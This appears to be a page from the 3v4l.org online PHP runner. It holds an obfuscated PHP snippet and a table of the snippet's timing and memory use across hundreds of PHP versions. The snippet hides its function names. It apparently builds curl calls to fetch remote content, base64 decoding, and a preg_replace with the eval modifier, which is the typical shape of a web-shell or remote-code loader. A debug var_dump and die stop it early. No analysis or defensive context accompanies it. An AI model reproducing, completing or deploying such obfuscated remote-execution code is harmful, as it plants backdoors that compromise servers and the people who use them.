3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vars = array( 'implode', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg' . '_replace', 'preg' . '_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23 ); //chr[0] = $vars[2][0] = $vars[6][0] = 'c'; //$vars[15][0] = $vars[15][1]; //$vars[15][1] = $vars[11][5]; //$vars[5][0] = $vars[5][2] = $vars[15][3] = $vars[15][8] = $vars[15][12] = $vars[13][2] = $vars[14][2] = "e"; //$vars[16] = ($vars[17] = "/" . $vars[17]) ? ($vars[17]) : 0; //$vars[16][4] = $vars[16][5] = '.'; //$vars[16].= $vars[17]; //$vars[16][11] = ''; //implode = $vars[0]; function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", $vars[14]( "/[\D]+/", $vars[13]( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],' . strtoupper($vars[2] . $vars[9] . "_" . $vars[10]) . ' , 1<<5 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],' . strtoupper($vars[2] . $vars[9] . "_" . strrev($vars[11])) . ' , 2>>1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()' ); //$vars[18] = $vars[0] = "array" . "_"; //$vars[0].= 'array_push'; //$vars[18].= 'array_map'; $vars[0] = array_push($vars, 'array_push') - 1; $i = $q = 0; var_dump($vars); die(); while ($i < 5) { ($i != 2) ? ($vars[$vars[0] - $q]($vars, $vars[2] . "_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; $vars[13]($vars[16], $ { $vars[16][3] } [0 + $i] . $x[5], $vars[17]); $i++; } echo ($zvars);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.43
8.3.50.0140.00821.99
8.3.40.0130.00318.96
8.3.30.0140.00018.95
8.3.20.0090.00020.33
8.3.10.0040.00423.52
8.3.00.0080.00018.89
8.2.180.0080.00816.88
8.2.170.0120.00322.96
8.2.160.0110.00422.11
8.2.150.0000.00824.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0050.00321.05
8.2.110.0000.00920.32
8.2.100.0040.00717.91
8.2.90.0090.00017.75
8.2.80.0040.00418.95
8.2.70.0030.00618.05
8.2.60.0050.00318.16
8.2.50.0090.00018.10
8.2.40.0000.00819.48
8.2.30.0070.00019.42
8.2.20.0050.00317.83
8.2.10.0080.00018.04
8.2.00.0070.00017.91
8.1.280.0090.00625.92
8.1.270.0030.00619.05
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0070.00320.70
8.1.230.0030.00922.14
8.1.220.0000.00817.74
8.1.210.0000.00818.77
8.1.200.0100.00017.35
8.1.190.0060.00317.35
8.1.180.0000.00919.03
8.1.170.0040.00418.62
8.1.160.0040.00419.08
8.1.150.0040.00418.97
8.1.140.0040.00417.50
8.1.130.0070.00017.86
8.1.120.0040.00417.55
8.1.110.0000.00817.54
8.1.100.0000.00717.48
8.1.90.0040.00417.52
8.1.80.0060.00317.38
8.1.70.0000.00717.36
8.1.60.0000.00817.67
8.1.50.0000.00917.48
8.1.40.0060.00317.55
8.1.30.0050.00317.57
8.1.20.0030.00517.69
8.1.10.0040.00417.61
8.1.00.0070.00017.52
8.0.300.0040.00418.77
8.0.290.0000.01016.75
8.0.280.0000.00718.44
8.0.270.0070.00017.30
8.0.260.0030.00317.28
8.0.250.0030.00317.08
8.0.240.0000.00617.08
8.0.230.0020.00516.94
8.0.220.0030.00317.00
8.0.210.0000.00717.03
8.0.200.0040.00416.89
8.0.190.0000.00717.08
8.0.180.0000.00717.00
8.0.170.0040.00417.06
8.0.160.0000.00717.11
8.0.150.0070.00016.95
8.0.140.0060.00316.84
8.0.130.0050.00213.51
8.0.120.0080.00016.94
8.0.110.0040.00416.89
8.0.100.0000.00716.93
8.0.90.0000.00716.86
8.0.80.0060.01317.05
8.0.70.0040.00416.94
8.0.60.0000.00717.01
8.0.50.0000.00716.82
8.0.30.0120.01317.18
8.0.20.0160.00917.40
8.0.10.0050.00317.00
8.0.00.0090.00916.80
7.4.330.0000.00515.03
7.4.320.0060.00016.54
7.4.300.0030.00316.43
7.4.290.0000.00716.69
7.4.280.0030.00616.64
7.4.270.0070.00016.68
7.4.260.0040.00416.62
7.4.250.0000.00916.50
7.4.240.0030.00416.49
7.4.230.0000.00716.53
7.4.220.0200.00616.51
7.4.210.0120.00616.59
7.4.200.0000.00716.75
7.4.160.0100.00616.50
7.4.150.0130.00717.40
7.4.140.0130.00917.86
7.4.130.0100.01016.55
7.4.120.0150.00316.50
7.4.110.0060.01316.45
7.4.100.0120.00616.52
7.4.90.0120.00616.57
7.4.80.0130.00919.39
7.4.70.0130.00616.38
7.4.60.0040.01216.63
7.4.50.0080.00016.54
7.4.40.0080.00916.63
7.4.30.0060.01516.70
7.4.00.0080.00815.19
7.3.330.0000.00513.36
7.3.320.0000.00513.35
7.3.310.0040.00416.54
7.3.300.0030.00316.37
7.3.290.0030.01316.40
7.3.280.0130.00916.38
7.3.270.0070.01317.40
7.3.260.0080.01116.46
7.3.250.0150.00516.53
7.3.240.0060.01216.57
7.3.230.0080.00816.39
7.3.210.0110.00716.48
7.3.200.0070.01719.39
7.3.190.0090.00916.41
7.3.180.0120.00616.57
7.3.170.0150.00816.48
7.3.160.0090.00916.54
7.3.120.0060.00914.80
7.3.110.0030.00714.80
7.3.100.0040.01114.86
7.3.90.0100.00014.82
7.3.80.0100.00014.84
7.3.70.0090.00314.83
7.3.60.0030.01014.78
7.3.50.0000.00914.93
7.3.40.0060.00314.65
7.3.30.0060.00314.93
7.3.20.0000.00916.54
7.3.10.0040.00916.39
7.3.00.0000.01216.84
7.2.330.0030.01416.84
7.2.320.0170.00316.52
7.2.310.0090.00916.87
7.2.300.0100.01416.63
7.2.290.0150.00316.63
7.2.240.0030.00714.66
7.2.230.0070.00715.08
7.2.220.0000.00914.90
7.2.210.0000.01515.16
7.2.200.0070.00714.93
7.2.190.0030.01315.18
7.2.180.0000.01515.24
7.2.170.0100.00014.98
7.2.160.0030.01315.08
7.2.150.0080.00416.96
7.2.140.0040.00416.95
7.2.130.0040.00817.05
7.2.120.0030.00916.89
7.2.110.0090.00317.07
7.2.100.0070.01017.06
7.2.90.0080.00416.95
7.2.80.0070.01117.06
7.2.70.0000.01016.74
7.2.60.0030.01316.92
7.2.50.0070.00717.06
7.2.40.0000.01316.82
7.2.30.0090.00616.95
7.2.20.0030.00817.03
7.2.10.0060.00917.15
7.2.00.0070.00718.23
7.1.330.0000.01515.84
7.1.320.0080.00815.62
7.1.310.0030.00615.93
7.1.300.0030.01315.77
7.1.290.0030.01015.84
7.1.280.0030.00915.66
7.1.270.0000.01415.38
7.1.260.0040.00715.71
7.1.250.0090.00015.98
7.1.200.0040.00815.93
7.1.100.0040.01117.59
7.1.70.0060.00916.87
7.1.60.0080.01519.22
7.1.50.0030.01716.95
7.1.00.0030.07722.40
7.0.200.0080.00016.88
7.0.140.0030.03321.92
7.0.60.0070.05720.00
7.0.50.0030.08717.93
7.0.40.0070.07020.23
7.0.30.0370.06720.21
7.0.20.0400.04020.19
7.0.10.0300.05720.06
7.0.00.0100.07320.33
5.6.280.0030.07721.09
5.6.210.0100.07720.58
5.6.200.0100.07718.16
5.6.190.0030.04720.39
5.6.180.3370.04020.64
5.6.170.0100.05720.44
5.6.160.0130.07020.61
5.6.150.0070.06718.24
5.6.140.0030.07018.18
5.6.130.0000.04718.15
5.6.120.0030.04320.99
5.6.110.0130.08020.96
5.6.100.0100.08721.06
5.6.90.0030.05020.90
5.6.80.0130.07320.44
5.6.70.0330.07720.52
5.5.350.0270.07720.35
5.5.340.0000.09017.97
5.5.330.0100.08020.27
5.5.320.0300.04320.38
5.5.310.0370.06720.32
5.5.300.0070.06318.07
5.5.290.0000.04318.04
5.5.280.0130.07720.78
5.5.270.0070.04720.75
5.5.260.0130.07720.88
5.5.250.0070.06320.60
5.5.240.0270.07020.21
5.4.450.0230.06319.17
5.4.440.0700.06019.45
5.4.430.0330.06719.39
5.4.420.0630.05719.52
5.4.410.0770.05719.41
5.4.400.0770.05018.89
5.4.390.0770.05319.26
5.4.380.0370.05718.61
5.4.370.0230.06718.73
5.4.360.0230.06318.62
5.4.350.0330.05018.51
5.4.340.0200.06318.62
5.4.320.0200.06018.71
5.4.310.0400.06318.49
5.4.300.0170.06318.72
5.4.290.0500.04018.58
5.4.280.0270.05018.78
5.4.270.0300.04718.56
5.4.260.0270.05018.77
5.4.250.0270.06318.73
5.4.240.0270.06018.75
5.4.230.0230.07018.54
5.4.220.0270.07318.72
5.4.210.0430.05718.74
5.4.200.0300.05016.80
5.4.190.0170.05718.74
5.4.180.0230.08018.77
5.4.170.0230.06018.69
5.4.160.0330.04718.50
5.4.150.0300.04718.48
5.4.140.0270.04716.31
5.4.130.0270.05316.22
5.4.120.0300.04716.46
5.4.110.0300.06316.31
5.4.100.0330.04716.34
5.4.90.0300.05016.31
5.4.80.0330.04716.44
5.4.70.0330.04016.20
5.4.60.0330.04716.28
5.4.50.0270.06016.30
5.4.40.0270.05016.18
5.4.30.0270.05016.27
5.4.20.0200.05316.27
5.4.10.0270.05016.17
5.4.00.0270.04715.76
5.3.290.0170.06714.74
5.3.280.0300.04714.75
5.3.270.0200.05714.63
5.3.260.0300.05314.73
5.3.250.0230.05714.68
5.3.240.0330.06714.66
5.3.230.0130.06314.75
5.3.220.0170.06014.70
5.3.210.0270.05014.72
5.3.200.0230.05314.72
5.3.190.0300.05314.79
5.3.180.0300.05014.71
5.3.170.0370.04714.72
5.3.160.0170.05714.80
5.3.150.0330.04714.79
5.3.140.0300.05014.61
5.3.130.0330.05014.59
5.3.120.0330.05714.77
5.3.110.0200.06014.64
5.3.100.0200.06014.16
5.3.90.0370.05714.08
5.3.80.0200.05714.07
5.3.70.0270.07014.14
5.3.60.0270.06314.06
5.3.50.0300.06314.09
5.3.40.0330.05314.01
5.3.30.0270.05313.93
5.3.20.0200.05713.71
5.3.10.0300.05013.80
5.3.00.0400.06713.84
5.2.170.0230.05711.29
5.2.160.0300.03711.19
5.2.150.0300.03711.29
5.2.140.0330.03311.19
5.2.130.0200.04011.15
5.2.120.0270.03311.25
5.2.110.0200.04011.34
5.2.100.0200.05711.13
5.2.90.0200.05311.25
5.2.80.0270.05711.22
5.2.70.0230.04711.14
5.2.60.0200.04011.30
5.2.50.0200.04311.08
5.2.40.0270.03311.05
5.2.30.0270.03711.13
5.2.20.0130.04311.02
5.2.10.0170.04011.02
5.2.00.0170.04710.85
5.1.60.0200.03010.06
5.1.50.0200.03010.21
5.1.40.0200.04010.04
5.1.30.0230.03310.55
5.1.20.0130.04010.39
5.1.10.0170.05010.30
5.1.00.0230.04010.16
5.0.50.0130.0378.66
5.0.40.0130.0238.47
5.0.30.0070.0478.33
5.0.20.0070.0308.21
5.0.10.0170.0238.38
5.0.00.0130.0478.22
4.4.90.0100.0206.65
4.4.80.0030.0336.65
4.4.70.0130.0176.65
4.4.60.0070.0276.65
4.4.50.0070.0236.65
4.4.40.0070.0376.65
4.4.30.0030.0276.65
4.4.20.0100.0206.65
4.4.10.0100.0206.65
4.4.00.0130.0306.65
4.3.110.0130.0176.65
4.3.100.0070.0306.65
4.3.90.0130.0276.65
4.3.80.0100.0336.65
4.3.70.0130.0176.65
4.3.60.0070.0276.65
4.3.50.0070.0236.65
4.3.40.0030.0376.65
4.3.30.0100.0176.65
4.3.20.0030.0236.65
4.3.10.0030.0236.65
4.3.00.0000.0237.34

preferences:
40.41 ms | 401 KiB | 5 Q